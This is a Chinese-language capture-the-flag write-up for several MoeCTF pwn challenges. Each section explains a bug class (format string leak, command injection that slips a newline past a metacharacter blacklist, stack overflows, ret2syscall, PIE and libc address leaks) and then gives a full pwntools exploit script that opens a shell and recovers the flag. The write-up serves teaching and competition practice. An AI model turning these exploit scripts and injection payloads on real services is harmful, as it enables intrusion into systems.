1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import subprocessfrom pwn import *from ctypes import CDLL, c_longimport time context.log_level = 'info' try : host_ip = subprocess.check_output( "ip route | grep default | awk '{print $3}'" , shell=True ).decode().strip() if not host_ip: raise ValueError("Failed to obtain a valid IP address." )except Exception as e: print (f"Error obtaining IP: {e} " ) exit(1 ) PORT = 目标端口 print (f"[*] Connecting to Windows Host at {host_ip} :{PORT} " ) libc = CDLL("libc.so.6" ) libc.random.restype = c_longwhile True : try : p = remote(host_ip, PORT) print ("[*] Connected successfully!" ) seed = int (time.time()) libc.srandom(seed) canary = libc.random() % 114514 print (f"[+] seed={seed} , canary={canary} " ) p.sendlineafter(b'(y/n)' , b'y' ) payload = b'A' * (0x90 - 0x14 ) payload += p32(canary) payload += b'A' * 0x18 payload += p64(0x40127b ) p.sendlineafter(b'Enter your message: ' , payload) res = p.recv(timeout=1 ) if b'Security check failed' not in res: print ("[!!!] SUCCESS" ) p.interactive() break p.close() except Exception as e: print ("[-] error:" , e) continue
运行!get shell !夺旗!
moectf{l4ST-T1me-TIM3-l5_sPE3DIng_Upda6282}
boom_revenge 似乎是boom换皮再战,用boom的exp.py改个端口就行
moectf{No_P13ASE_5T0P_l-5urrEnDeR11755ece}
fmt 这道题附件除了pwn文件外,还有libc.so.6和ld-linux-x86-64.so.2。前者我们见过,后面那个名字很长的是Linux下64位程序的动态链接器。不必惊慌,在本题中它们出现的意义仅仅是为我们提供一个跟远程统一的本地调试环境。
这道题跟格式化字符串有关。攻击方式应该不难。先反编译看下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int __fastcall main (int argc, const char **argv, const char **envp) { char *v4; char s1[16 ]; char s2[16 ]; char s[88 ]; unsigned __int64 v8; v8 = __readfsqword(0x28u ); init(argc, argv, envp); v4 = (char *)malloc (0x20u ); generate(s2, 5 ); generate(v4, 5 ); puts ("Hey there, little one, what's your name?" ); fgets(s, 80 , stdin ); printf ("Nice to meet you," ); printf (s); puts ("I buried two treasures on the stack.Can you find them?" ); fgets(s1, 8 , stdin ); if ( strncmp (s1, s2, 5u ) ) lose(); puts ("Yeah,another one?" ); fgets(s1, 8 , stdin ); if ( strncmp (s1, v4, 5u ) ) lose(); win(); return 0 ; }
好家伙直接把win写脸上了,双击进去确认
1 2 3 4 5 int win () { puts ("You got it!" ); return system("/bin/sh" ); }
行,不拐弯抹角,好文明。
研读代码逻辑,我们一共有三次交互机会。第一次是问我们名字后,第二第三让我们输入“宝藏”。读入用的都是fgets,没有栈溢出的机会。
仔细看第一次输入后,输入的数据存为s,然后会printf(s)。对,直接就是s,没有格式字符串控制,这就是漏洞所在。
学过C语言的不可能不知道格式说明符,格式化字符串就是带有格式说明符的字符串。这里我们要利用%p,作用是把一个指针当作地址打印出来。
本题中printf(s),s由我们决定。倘若我们只输入%p,不提供后续参数,程序会先去寄存器里找,不够再去栈里拿,当然找不到。那也不能空着手交差啊,只好读当前栈帧里的数据打印了。而且我们输一个%p,程序就能吐出一个地址。
这就是格式化字符串漏洞,我们现在要利用这个漏洞拿到两个“宝藏”的地址。
看到反编译中的
1 2 generate(s2, 5 ); generate(v4, 5 );
分别在s2和v4生成了两个五字节的随机字符串,这大概就是宝藏了。
然后提示说
1 puts("I buried two treasures on the stack.Can you find them?" )
现在思路彻底清晰了:利用%p泄露栈,定位两个随机字符串的位置,读取,发送。
虽然作为远程题目,字符串会变,但在栈的位置是固定的,可以在本地确定。
打开WSL进入题目根目录,运行
1 ./ld-linux-x86-64.so.2 --library-path . ./pwn
你会看到那句
1 Hey there, little one, what's your name?
我们直接先读十个看看。
1 %1$p |%2$p |%3$p |%4$p |%5$p |%6$p |%7$p |%8$p |%9$p |%10$p
结果
1 2 Nice to meet you,0x7ffc9738c3c0 |(nil )|(nil )|0x11 |(nil )|0xc000 |0x555570e9a2a0 |0x2000000 |0x200000 |0x6968705367 I buried two treasures on the stack.Can you find them?
得到了十段数据。我们要在这里找v4和s2。 v4是malloc出来的指针,在栈中储存的是堆地址,特点是0x55开头,考虑0x555570e9a2a0; s2是个char字符串,长度为5。这里像字符串的只有0x7ffc9738c3c0和0x6968705367,其中0x7f开头属于典型的栈地址,那就是0x6968705367了。
这两段数据分别对应第7号和第10号。
ctrl + Z退出,重新启动一次程序,这次直接输入%7$s|%10$p获取两个宝藏
看到
1 2 Nice to meet you,一个字符串|一串0 x开头的数据 I buried two treasures on the stack .Can you find them?
字符串是v4,已经直接打印出来了。s2还要手动转换一下,注意小端序,也就是从后往前每两位转换为ASCⅡ。
注意,反编译代码中先检查的是s2,顺序别反了。
提交两次后看到You got it!的提示,说明攻破了。
现在利用脚本将上述步骤自动化一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import subprocessfrom pwn import * context.arch = 'amd64' context.log_level = 'info' try : host_ip = subprocess.check_output( "ip route | grep default | awk '{print $3}'" , shell=True ).decode().strip() if not host_ip: raise ValueError("Failed to obtain a valid IP address." )except Exception as e: print (f"Error obtaining IP: {e} " ) exit(1 ) PORT = 21113 print (f"[*] Connecting to Windows Host at {host_ip} :{PORT} " )try : p = remote(host_ip, PORT) print ("[*] Connected successfully!" )except Exception as e: print (f"[*] Connection failed: {e} " ) exit(1 ) p.recvuntil(b"name?" ) p.sendline(b"%7$s|%10$p" ) p.recvuntil(b"Nice to meet you," ) heap_str, stack_hex = p.recvline().strip().split(b"|" ) first = p64(int (stack_hex, 16 ))[:5 ] p.recvuntil(b"find them?" ) p.sendline(first) p.recvuntil(b"another one?" ) p.sendline(heap_str) p.interactive()
启动在线环境运行脚本后 ls+cat 拿到flag
moectf{tH3_B3gINnING-Of-FORMaT2493f9f50}
inject IDA 反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 int __fastcall main (int argc, const char **argv, const char **envp) { int v4; unsigned __int64 v5; v5 = __readfsqword(0x28u ); setbuf(stdout , 0 ); setbuf(stdin , 0 ); puts ("Welcome to server maintainance system." ); while ( 1 ) { _printf_chk( 1 , "1. List processes\n2. Check disk usage\n3. Check network activity\n4. Test connectivity\n5. Exit\nYour choice: " ); if ( (int )_isoc99_scanf("%u" , &v4) < 0 ) break ; getc(stdin ); switch ( v4 ) { case 1 : execute("ps aux" ); break ; case 2 : execute("df -h" ); break ; case 3 : execute("netstat -ant" ); break ; case 4 : ping_host(); break ; case 5 : exit (0 ); default : puts ("Invalid choice!" ); break ; } } exit (1 ); }
看起来是模拟了一个服务器维护系统,给了我们5个选项。其中1235四个选项执行的操作与描述对应,分别是列出进程、检查磁盘使用情况、检查网络活动和退出。当然以防万一先确认一下execute函数
1 2 3 4 5 6 7 8 int __fastcall execute (char *command) { _printf_chk(1 , "Executing command: %s\n" , command); if ( system(command) ) return puts ("Something went wrong.\n" ); else return puts ("Done." ); }
出现了system函数,但是这个函数设计的很安全,没有漏洞点,只是单纯执行原定的命令而已。另外与if相反,system执行成功的返回值是0。
唯一可能有操作空间的地方只剩下4对应的ping_host()。
里面别有洞天,复杂度快赶上main了。不过忽略掉一些次要的保护机制,这函数真正干事的部分在这
1 2 3 4 5 if ( (unsigned int )check(buf) ) { _snprintf_chk(command, 32 , 1 , 32 , "ping %s -c 4" , (const char *)buf); execute(command); }
如果check(buf)为真,则command拼接为ping + 用户输入 + -c 4,并执行execute(command)。execute函数刚才已经看到了,是执行system(command)然后判断是否为真,为真则顺利执行。我们要做的就是控制command,使system执行我们想要执行的命令,像是sh。
command原有的框架是ping,得想个办法另起炉灶。最简单的办法是把ping + 用户输入 + -c 4变成两个命令,比如我们输入1;sh#\n,这时候因为换行符的存在,程序接收到的是
#使得sh后的部分被注释掉,防止-c 4变成sh的参数,导致错误。这样程序就在执行ping后,直接执行sh为我们提供一个可交互的shell。
但别忘了我们还有个大前提check(buf)。
1 2 3 4 _BOOL8 __fastcall check (const char *a1) { return strpbrk (a1, ";&|><$(){}[]'\"`\\!~*" ) == 0 ; }
黑名单过滤,要求payload中不能出现;&|><$(){}[]'\"`\\!~*这些特殊字符。这也好办,转义字符\n没被禁,那就改一下,输入1\nsh #\n。
这时候突然想到,本题中我们其实拥有shell,只是没有交互界面而已。那为什么不直接cat flag呢?
脚本应运而生:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *import subprocesstry : host_ip = subprocess.check_output( "ip route | grep default | awk '{print $3}'" , shell=True ).decode().strip()except : exit(1 ) PORT = 8331 p = remote(host_ip, PORT) p.recvuntil(b"Your choice:" ) p.sendline(b"4" ) p.recvuntil(b"Enter host to ping:" ) payload = b"1\ncat flag #\n" p.send(payload) p.interactive()
运行即可。
moectf{ThI5-iS_NoT_IIKE_a_PWn_Ch4LI3Ng3b5ec8}
randomlock IDA反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int __fastcall main (int argc, const char **argv, const char **envp) { int v4; int i; int v6; unsigned __int64 v7; v7 = __readfsqword(0x28u ); init(argc, argv, envp); initseed(); srand(seed); puts ("My lock looks strange—can you help me?" ); for ( i = 1 ; i <= 10 ; ++i ) { printf ("password %d\n>" , i); v6 = rand() % 10000 ; __isoc99_scanf("%d" , &v4); if ( v6 != v4 ) lose(); } win(); return 0 ; }
见win就不用多考虑了,思考怎么执行到它就行。看for函数的内容,我们需要连续“猜”对十次v6。v6由rand() % 10000生成。
前面还有个initseed,rand()的生成逻辑应该就藏在这里。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 __int64 initseed () { __int64 result; int i; int fd; fd = open("/dev/urandom" , 0 , 0 ); if ( fd < 0 ) { puts ("urandom" ); exit (1 ); } read(fd, &seed, 3u ); close(fd); seed = seed % 0x64 + 1 ; for ( i = 1 ; i <= 120 ; ++i ) change(); while ( 1 ) { result = seed & 1 ; if ( (seed & 1 ) != 0 ) break ; change(); } return result; }
能看到initseed内部先是从urandom中读入三个字节,存入seed,然后用seed % 0x64 + 1约束seed的范围。0x64就是100,任何一个整数除以100取余一定在0到99之间。再加1,所以seed的范围在1到100。
随后的for和while中都出现了change(),这有必要看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 __int64 change () { __int64 result; if ( (seed & 1 ) != 0 ) { result = 3 * seed + 1 ; seed = 3 * seed + 1 ; } else { result = seed >> 1 ; seed >>= 1 ; } return result; }
这是考拉兹猜想,奇数乘三加一,偶数除以二,循环往复。数字以二进制存储,seed >>= 1表示将数据右移一位,也就是除以二,跟十进制数字小数点右移一位相当于除以十是一个道理。这个算法非常有趣,虽然至今无法证明,但用我们日常生活中能接触到的所有非零自然数进行运算,最后一定会落入4->2->1的循环。
在本题中,对每一个seed,initseed函数设置了120次change。对1到100的seed,这已经足以让它们都变成这三个数字之一了。在随后的while循环,result由seed和1进行AND运算得到。此时如果seed是偶数,二进制的末位一定是0。这样与运算结果是0,无法达成break条件,会再度踏入轮回扔给change,直到seed变成奇数。
你猜4、2、1谁是奇数?
所以srand的参数就是1。剩下的就只有利用libc库中的rand()算出十个值发给程序。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *from ctypes import CDLLimport subprocesstry : host_ip = subprocess.check_output( "ip route | grep default | awk '{print $3}'" , shell=True ).decode().strip()except : exit(1 ) PORT = 5271 p = remote(host_ip, PORT) libc = CDLL("libc.so.6" ) libc.srand(1 ) p.recvline() for i in range (1 , 11 ): p.recvuntil(b'>' ) v6 = libc.rand() % 10000 p.sendline(str (v6).encode()) print (f"已发送第 {i} 轮密码: {v6} " )print (p.recvall().decode())
运行即可。
moectf{suCh-a-FAke_cHaoTlC-evIl3c1ece15}
str_check IDA 反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int __fastcall main (int argc, const char **argv, const char **envp) { char dest[24 ]; size_t n; init(argc, argv, envp); puts ("What can u say?" ); __isoc99_scanf("%255s" , str); puts ("So,what size is it?" ); __isoc99_scanf("%zu" , &n); len = strlen (str); if ( (unsigned __int64)len > 0x18 ) { puts ("Oh,too much." ); exit (1 ); } if ( !strncmp (str, "meow" , 4u ) ) memcpy (dest, str, n); else strncpy (dest, str, n); puts ("You're right." ); return 0 ; }
程序要求我们先输入一个字符串str。输入str后,程序会立刻判断这个字符串的长度是否超过0x18,是就退出;通过这一关后还会检查开头四个字节,如果是meow则使用memcpy拷贝,反之则使用strncpy。两者区别在于前者无视\x00,后者遇到会停止拷贝。这里肯定要选择前者,因为我们需要\x00来绕过len检测,更需要\x00后面的部分get shell。
memcpy会将payload原封不动地拷贝到栈上的dest缓冲区。这是个栈溢出情景,我们覆盖到返回地址需要24(dest) + 8(变量n) + 8(saved rbp)=40个字节,也就是0x20。这就已经超过了0x18,所以得在meow后加上\x00,strlen会在第5位停止计数,返回长度为4,从而绕过if (len > 0x18)的检查。
返回地址的部分,能在IDA中找到backdoor函数。用它的地址,从起始位置数到b,也就是0x40123b。
对了,之后还得输入一个足够大的n把payload完整传进去,填个100吧。
脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *import subprocesstry : host_ip = subprocess.check_output( "ip route | grep default | awk '{print $3}'" , shell = True ).decode().strip()except : exit(1 ) PORT = 54856 p = remote(host_ip, PORT) backdoor_addr = 0x40123b payload = b'meow\x00' .ljust(40 , b'a' ) + p64(backdoor_addr) p.sendlineafter(b"What can u say?" ,payload) p.sendlineafter(b"So,what size is it?" , b"100" ) p.interactive()
运行夺旗。
moectf{MaY6E_tHlS_Is_C_sTrlnG4efee9064}
syslock IDA反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __fastcall main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); write(1 , "My lock looks strange—can you help me?\n" , 0x29u ); write(1 , "choose mode\n" , 0xCu ); i = input(); if ( i > 4 ) lose(); write(1 , "Input your password\n" , 0x14u ); read(0 , (char *)&s + i, 0xCu ); if ( i != 59 ) lose(); cheat(); return 0 ; }
发现第一个挑战:两次if检验分别要求:1️⃣i小于等于4;2️⃣i等于59。
i一开始由i = input();这一行决定,也就是用户输入,注意这里会把输入的数据当作整数存储。在第二次检验之前,还可以利用read再传一次值,将i的值修改为59。看反编译代码中的这一行
1 read (0 , (char *)&s + i, 0 xCu);
read接收到的值会写到(char *)&s + i这个地址,其中i由我们第一次输入的值决定。这里关联到另一个变量s,所以我们只需要知道变量i和s的距离,就能利用这个read更改内存中i的内容。这里要使用gdb。
在题目文件所在根目录启动gdb
之后所有的命令都写在pwndbg>之后。先在main函数设置断点,然后运行程序,将目标代码反汇编成汇编代码
1 2 3 b main r disassemble main
在列出的一堆里找到s和i
1 2 0x0000000000401309 <+78 >: mov DWORD PTR [rip +0x2d71 ],eax # 0x404080 <i>0x0000000000401345 <+138 >: lea rdx ,[rip +0x2d54 ] # 0x4040a0 <s>
这里能看出两个变量不在栈上,而是在BSS段(数据段)的全局变量。计算它们的距离。我们要求的数是输入的i,s的地址加输入的i等于i的地址,所以列式如下
1 0x404080 (i的地址) - 0 x4040a0 (s的地址)= -0 x20(输入的i)
所以在read部分的i为-0x20,也就是-32。这个数字需要我们预先利用input传入,这样轮到read时,就能直接传个0x3b(59)修改i的值为59。
完成上述步骤后进入cheat()
1 2 3 4 5 6 7 ssize_t cheat () { _BYTE buf[64 ]; write(1 , "Developer Mode.\n" , 0x10u ); return read(0 , buf, 0x100u ); }
buf只有64,但read允许读入256(0x100)个字节,典型栈溢出。该程序并没有提供现成的system("/bin/sh")我们需要自己构造ret2syscall链,目标是执行Linux系统调用:execve(“/bin/sh”, 0, 0)。
首先先用垃圾数据覆盖返回地址前的部分,buf的64+saved rbp共72字节。
剩下的系统调用由这几部分组成。以下是对应的寄存器-内容要求:
1 2 3 4 5 RDI: "/bin/sh" 字符串在内存中的地址。 RSI: 0 (参数 argv) RDX: 0 (参数 envp) RAX: 0x3b (execve的系统调用号) # 双关,0x3b既是59又是系统调用号 指令: syscall
“/bin/sh” 字符串一开始在内存中并不存在,得在第二步传入59后顺带传进去。注意到read允许输入12个字节(0xC),这就是预留给我们的空间。后续检验i时,因为i是4字节的整数,程序只会从0x404080开始抓取4字节,不会带上后面的部分,故可以通过检查。同理,为了防止调用/bin/sh时带上59,我们把刨除整型i的起始地址0x404084传给RDI。
垃圾数据后紧接着的返回地址应该是一个能控制这些寄存器的地方,用这个命令找
1 ROPgadget --binary ./pwn | grep "pop rdi"
锁定这一条
1 0x0000000000401240 : pop rdi ; pop rsi ; pop rdx ; ret
所以要优先传入0x401240,这个地址后能接三个寄存器rdi,rsi,rdx。到rax时,得再找一次
1 ROPgadget --binary ./pwn | grep "pop rax"
结果只有一条
1 0x0000000000401244 : pop rax
然后才能传rax的内容0x3b和后续部分。syscall虽然不用再单独找gadget,但它本身的地址也得知道
1 ROPgadget --binary ./pwn | grep "syscall"
要最干净的这一条
1 0 x0000000000401230 : syscall
利用cheat内部的read把这8部分都传入程序即可。什么,哪8部分?你再仔细看看呢😇
exp.py如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *import subprocesstry : host_ip = subprocess.check_output( "ip route | grep default | awk '{print $3}'" , shell = True ).decode().strip()except : exit(1 ) PORT = 实际端口 p = remote(host_ip , PORT) p.sendafter(b'mode\n' ,b'-32' ) payload = p32(0x3b ) + b'/bin/sh\x00' p.sendafter(b'password\n' ,payload) payload = b'a' *72 + p64(0x401240 ) + p64(0x404084 ) + p64(0 ) + p64(0 ) + p64(0x401244 ) + p64(0x3b ) + p64(0x401230 ) p.sendafter(b'Developer Mode.\n' ,payload) p.interactive()
运行即可拿到shell,flag已是囊中之物。
moectf{donT_eNc4p5UI@Te-mY-SysC4IL8e24760}
xdulaker 题目描述
栈上的数据不会无缘无故地被清理,你能根据这个信息拯救/成为laker吗?
checksec扫描结果如下
1 2 3 4 5 6 7 8 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
IDA反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int __fastcall __noreturn main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); menu(); while ( 1 ) { while ( 1 ) { putchar (62 ); __isoc99_scanf("%d" , &opt); if ( opt != 1 ) break ; pull(); } if ( opt == 2 ) { photo(); } else { if ( opt != 3 ) exit (0 ); laker(); } } }
看到有很多自定义函数。逐一查看
menu
pull
photo
laker
这几个函数的分工很清晰:
menu提供3个选项,引导用户分别使用另外三个函数;
pull可以泄露全局变量opt的地址,有助于绕过 PIE;
photo是跟laker紧密相关的。必须先调用photo栈溢出覆盖s1,否则无法通过laker的memcmp检查;
laker在通过memcmp检查后可以再次进行栈溢出,覆盖返回地址为我们想要的位置。
第一步栈溢出不难。photo的buf标注为[rbp-50h],说明起始地址距离rbp有0x50(80字节)的距离。而laker的s1为[rbp-30h],距rbp有0x30也就是48字节。两者相差32字节,这说明从buf覆盖到s1的起点位置需要32字节的数据,用A填充。
laker的memcmp检查要求s1的前8字节为xdulaker,那就原封不动地抄下来。栈内存不会在函数退出时自动清零,所以在photo执行后回到main,s1还是被改过的状态。这就是题目描述的暗示。
题目提供了ld-linux-x86-64.so.2和libc.so.6,在本地测试一下
看来第一步栈溢出已经成了。接下来考虑第二个栈溢出,在IDA中发现backdoor函数,里面调用了system("/bin/sh"),所以返回地址直接覆盖到backdoor的实际地址。这里是第二个挑战,在checksec扫描中发现程序开了PIE,也就是程序每次运行时的加载地址都不一样。不过这也好办,pull函数已经给了我们钥匙,算一下基址就行。
有了3 认识libc的经验你应该知道要先获取固定不变的偏移量,这里不能用libc.so.6,因为opt和backdoor都不在标准库里,得用nm。
没有nm?运行这个安装(Linux),nm是其中的一个工具
1 2 sudo apt updatesudo apt install build-essential
使用nm获取opt和backdoor的偏移
1 2 nm ./pwn | grep " opt" nm ./pwn | grep " backdoor"
输出分别为0x4010和0x1249。这里注意,backdoor内部的system涉及到栈对齐,我们在IDA看一眼backdoor
跟boom那道题类似,绕开push从第一个mov开始才是稳的。对应的地址要后移5字节,也就是0x124e。
计算backdoor的实际地址,先用获取的opt实际地址减opt的偏移,再加上backdoor的偏移。由于每次连接题目获取的opt实际地址都不同,我们直接在脚本里实现一体化。
这样第二次栈溢出的步骤也清晰了。s1距离 rbp 48字节,加上保存的rbp共56字节用a填充覆盖到返回地址,然后接上backdoor实际地址的计算式。
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *import subprocesstry : host_ip = subprocess.check_output( "ip route | grep default | awk '{print $3}'" , shell = True ).decode().strip()except : exit(1 ) PORT = 实际端口 p = remote(host_ip , PORT) p.sendlineafter(b'>' ,b'2' ) payload = b'a' *32 + b'xdulaker' p.sendafter(b'?!' ,payload) p.sendlineafter(b'>' ,b'1' ) p.recvuntil(b'gift:' ) leak_opt_addr = int (p.recvline().strip(), 16 ) backdoor = leak_opt_addr - 0x4010 + 0x124e p.sendlineafter(b'>' ,b'3' ) payload = b'a' *56 + p64(backdoor) p.sendlineafter(b'xdulaker' ,payload) p.interactive()
运行完你也是成为laker了
moectf{Be-caREFUl_0f-th3_L4k34049a69e6}
ezlibc 题目描述告诉我们这道题开了ASLR和PIE,也就是啥地址都随机,连基址都随机,并给了“小礼物”来应对。
看反编译代码
1 2 3 4 5 6 7 8 int __fastcall main (int argc, const char **argv, const char **envp) { setbuf(stdout , 0 ); printf ("What is this?\nHow can I use %p without a backdoor? Damn!\n" , &read); vuln(); puts ("Something happening" ); return 0 ; }
看vuln
1 2 3 4 5 6 ssize_t vuln () { _BYTE buf[32 ]; return read(0 , buf, 0x60u ); }
看起来这个“小礼物”指的就是printf打印出的read的实际地址。vuln是利用read的栈溢出,那么本题难点就在于如何确定要调用函数的实际地址。题目附件提供了libc.so.6,所以只需泄露出libc地址,再调用里面的system就好。
先用gdb确认&read到底取的是哪里的地址
1 2 3 4 gdb ./pwn pwndbg> b main pwndbg> r pwndbg> p &read
看到输出
1 $1 = (ssize_t (*)(int , void *, size_t )) 0x7ffff7d1ba80 <__GI___libc_read>
说明泄露的是libc里的真实 read。这就好办了,利用pwntools读取这个地址,再libc.sym[“read”]拿偏移量,然后libc地址就算出来了…吗?
实则不然。gdb执行p &read时,找的是read最终绑定的地址,也就是__GI___libc_read的地址。
而程序实际运行时,因为一开始read没有被调用过,printf打印出的是plt地址,不是libc地址。
以下是程序调用外部函数时的结构
1 2 3 4 5 6 7 程序代码 ↓read @plt ↓read @got ↓ libc 中的 read
第一次调用read时,程序内部执行
1 2 3 4 5 6 7 8 9 read @plt ↓ resolver ↓ 动态链接器查找 libc 中的 read ↓ 把 libc_read 写入 got[read ] ↓ 跳到 libc_read
以后再调用就变成这样
1 2 3 4 5 read @plt ↓ jmp got[read ] ↓ libc_read
准确地说,在Linux的延迟绑定机制下,&read经过GOT重定位,读取的是GOT表项里的值,也就是&read == got[read]。按照经典描述,起初got[read]内部的值初始应该指向read@plt的第二条指令,所以打印 &read拿到的地址指向 PLT 区域。
重开gdb验证,依次输入
1 2 3 4 5 pwndbg> start pwndbg> info proc mappings pwndbg> disas 'read@plt' pwndbg> x/gx [GOT真实地址] pwndbg> x/5i [GOT内存储的地址值]
内存映射基址输出的第一条Start Addr就是本次运行程序pwn的加载基地址,是0x555555554000。退出gdb用objdump -R pwn | grep read找到 read函数在全局偏移表(GOT)中的相对位置,输出为0x4030。GOT真实地址为两者之和
0x555555554000 + 0x4030 = 0x555555558030
x/gx 0x555555558030 的输出为
1 0 x555555558030 <read@got.plt>: 0 x0000555555555060
验证x/5i 0x0000555555555060的实际输出
1 2 3 4 5 0 x555555555060 : endbr640 x555555555064 : push 0 x30 x555555555069 : bnd jmp 0 x555555555020 0 x55555555506f: nop0 x555555555070 <__cxa_finalize@plt>: endbr64
最终结论是,got[read]内部的值初始指向PLT区域内的一条指令,不是严格的第二条,但也造就了输出为plt地址的结果。
为了让printf吐出libc地址,应调用一次read函数,将read@got的地址作为参数传给它。我们用栈溢出来解决。
由于printf的第二个参数放在RSI寄存器中,需要一段指令把read@got的地址弹进RSI。先尝试找个pop rsi的gadget
1 ROPgadget --binary pwn | grep "pop rsi"
没有结果,可能是这题文件太小。换个思路,程序里有没有现成的代码已经把read的地址送进printf了?如果有,大概率在main的反汇编代码中。
用gdb反汇编main
寻找关键词 read@got.plt,找到这两条
1 2 0x00000000000011ee <+32 >: lea rax ,[rip +0x2e3b ] # 0x4030 <read@got. plt>0x0000000000001200 <+50 >: mov rsi ,rax
就是你了,0x11ee。这个地址执行的操作把read@got的地址加载到rax寄存器中,随后在0x1200的位置把rax的值传给rsi。
再用odjdump找一下偏移,第一个payload就基本成型了
1 objdump -d pwn | grep "<read@plt>:"
发送payload后我们需要重新获取printf的输出。刚刚执行vuln后的返回值被我们覆盖为基址+0x11ee,导致程序“回溯”到main函数打印read地址的那一行,随后程序会再次打印出read地址,这次就是libc地址了。
这里还需要完善一下第一个payload,为了防止程序回溯时崩溃,rbp不能用垃圾数据覆盖,应该换成一个合法的地址。这个地址不固定,建议选.bss 段的地址。
1 readelf -S pwn | grep .bss
输出
1 [27] .bss NOBITS 0000000000004048 00003048
选起始位置0x4048即可。别忘了加上基址。
第二个payload直接构造ROP即可。此时已经能找偏移算出libc基址,可以利用libc中的所有指令找我们要的地址,包括system,ret和pop rdi。
开干!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *import subprocesstry : host_ip = subprocess.check_output( "ip route | grep default | awk '{print $3}'" , shell = True ).decode().strip()except : exit(1 ) PORT = 实际端口 p = remote(host_ip , PORT) libc = ELF('./libc.so.6' ) p.recvuntil(b'How can I use ' ) plt_read_addr = int (p.recvn(14 ),16 ) plt_base = plt_read_addr - 0x1060 payload = b'a' *32 + p64(plt_base + 0x4048 ) + p64(plt_base + 0x11ee ) p.send(payload) p.recvuntil(b'How can I use ' ) libc_read_addr = int (p.recvn(14 ),16 ) libc_base = libc_read_addr - 0x1147d0 system = libc_base + libc.symbols['system' ] binsh = libc_base + next (libc.search(b'/bin/sh' )) ret = libc_base + 0x29139 rdi = libc_base + 0x2a3e5 payload = b'a' *32 + p64(plt_base + 0x4048 ) + p64(ret) + p64(rdi) + p64(binsh) + p64(system) p.send(payload) p.interactive()
注意用objdump -d pwn | grep "<read@plt>:"找出的偏移是0x10b0,实测发现这个值行不通。这可能是题目本身或者个人环境带来的谜之误差,原因不明,不过有办法克服。因为算出的基址最后三位必须是000,我们可以打印出实际的read地址,反推出正确的最后三位。
在脚本中添加这一行进行测试,此时使用的plt偏移是0x10b0
1 print (f"[*] 远程泄露的 read@plt 真实地址: {hex (plt_read_addr)} " )
这就真相大白了,正确的plt偏移末三位是060才对,否则基址末三位无法计算出000。
修改脚本后成功get shell
moectf{H0W-C@N-y0U_geT_tHiS_llBC-4dDR389fec9}